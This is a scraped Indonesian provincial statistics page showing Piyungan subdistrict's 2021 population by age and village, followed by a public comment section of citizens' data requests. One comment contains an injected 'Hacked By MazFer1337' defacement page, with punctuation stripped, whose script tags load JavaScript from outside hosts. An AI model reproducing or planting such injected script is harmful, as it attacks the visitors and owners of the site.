Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN PIYUNGAN, KABUPATEN BANTUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSITIMULYOSRIMULYOSRIMARTANITotal
LPL + PLPL + PLPL + PLPL+P
<= 1 tahun222166 388194188 382193192 385609 546 1.155
2 tahun127128 255114113 227124111 235365 352 717
3 tahun140139 279114122 236121142 263375 403 778
4 tahun149107 256127122 249127119 246403 348 751
5 tahun142127 269135119 254122118 240399 364 763
6 tahun141131 272119137 256124128 252384 396 780
7 tahun142141 283104141 245119106 225365 388 753
8 tahun135154 289135133 268140149 289410 436 846
9 tahun159131 290159117 276155134 289473 382 855
10 tahun144136 280127113 240147146 293418 395 813
11 tahun143124 267151158 309149150 299443 432 875
12 tahun157163 320151148 299131134 265439 445 884
13 tahun159128 287153140 293157134 291469 402 871
14 tahun153132 285131129 260136119 255420 380 800
15 tahun152106 258137123 260143134 277432 363 795
16 tahun133140 273130124 254129112 241392 376 768
17 tahun113124 237111102 213110120 230334 346 680
18 tahun134133 267138111 249137141 278409 385 794
19 tahun139124 263136137 273145124 269420 385 805
20 tahun145133 278134141 275115128 243394 402 796
21 tahun148140 288138135 273135141 276421 416 837
22 tahun124133 257122122 244135117 252381 372 753
23 tahun128144 272140114 254111135 246379 393 772
24 tahun116113 229119123 242131114 245366 350 716
25 tahun131138 269123116 23998119 217352 373 725
26 tahun133123 256124113 237139140 279396 376 772
27 tahun137128 265114124 238127123 250378 375 753
28 tahun113137 250120103 223132120 252365 360 725
29 tahun128125 253111108 219128136 264367 369 736
30 tahun131129 26099124 22391127 218321 380 701
31 tahun121129 25010299 201116115 231339 343 682
32 tahun132143 275120119 239135143 278387 405 792
33 tahun90129 21997127 224127126 253314 382 696
34 tahun118133 251109139 248140122 262367 394 761
35 tahun138141 279136127 263104129 233378 397 775
36 tahun146138 284109124 233129139 268384 401 785
37 tahun170144 314144133 277130120 250444 397 841
38 tahun171159 330160153 313137124 261468 436 904
39 tahun131144 275158156 314153130 283442 430 872
40 tahun156164 320125131 256132146 278413 441 854
41 tahun135156 291145140 285134149 283414 445 859
42 tahun153139 292140134 274149133 282442 406 848
43 tahun152141 293174146 320140129 269466 416 882
44 tahun144130 274146137 283154124 278444 391 835
45 tahun134144 278109112 221125137 262368 393 761
46 tahun146152 298120152 272133109 242399 413 812
47 tahun111121 232126155 281122125 247359 401 760
48 tahun131135 266120129 249112108 220363 372 735
49 tahun138132 270143146 289116120 236397 398 795
50 tahun9294 186119134 253103125 228314 353 667
51 tahun111138 249130137 267144135 279385 410 795
52 tahun150136 286156133 289120120 240426 389 815
53 tahun115130 245106145 251112115 227333 390 723
54 tahun120115 235119135 25410799 206346 349 695
55 tahun101127 228134125 2599490 184329 342 671
56 tahun113133 246148128 276111126 237372 387 759
57 tahun7973 1526796 16310796 203253 265 518
58 tahun101105 20694106 2008377 160278 288 566
59 tahun96114 21011391 2048984 173298 289 587
60 tahun9974 1738691 1777063 133255 228 483
61 tahun10598 20390114 204114115 229309 327 636
62 tahun92105 19788108 1968081 161260 294 554
63 tahun8287 1697981 1606664 130227 232 459
64 tahun7182 1537784 1615763 120205 229 434
65 tahun6665 1316282 1446162 123189 209 398
66 tahun9665 1619673 1696469 133256 207 463
67 tahun6250 1128281 1635053 103194 184 378
68 tahun5556 1114170 1113348 81129 174 303
69 tahun4733 805359 1123936 75139 128 267
70 tahun2534 593736 733637 7398 107 205
71 tahun3349 824456 1004974 123126 179 305
72 tahun3942 814157 983551 86115 150 265
73 tahun1530 454146 873831 6994 107 201
74 tahun2024 441534 492735 6262 93 155
75 tahun1315 282326 492032 5256 73 129
76 tahun1746 632652 783241 7375 139 214
77 tahun1923 423230 622527 5276 80 156
78 tahun2720 472430 542217 3973 67 140
79 tahun2919 483940 792720 4795 79 174
80 ke atas96158 254143242 385103150 253342 550 892
Jumlah9.0218.99118.0128.7989.08117.8798.5578.57717.134 26.376 26.649 53.025
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih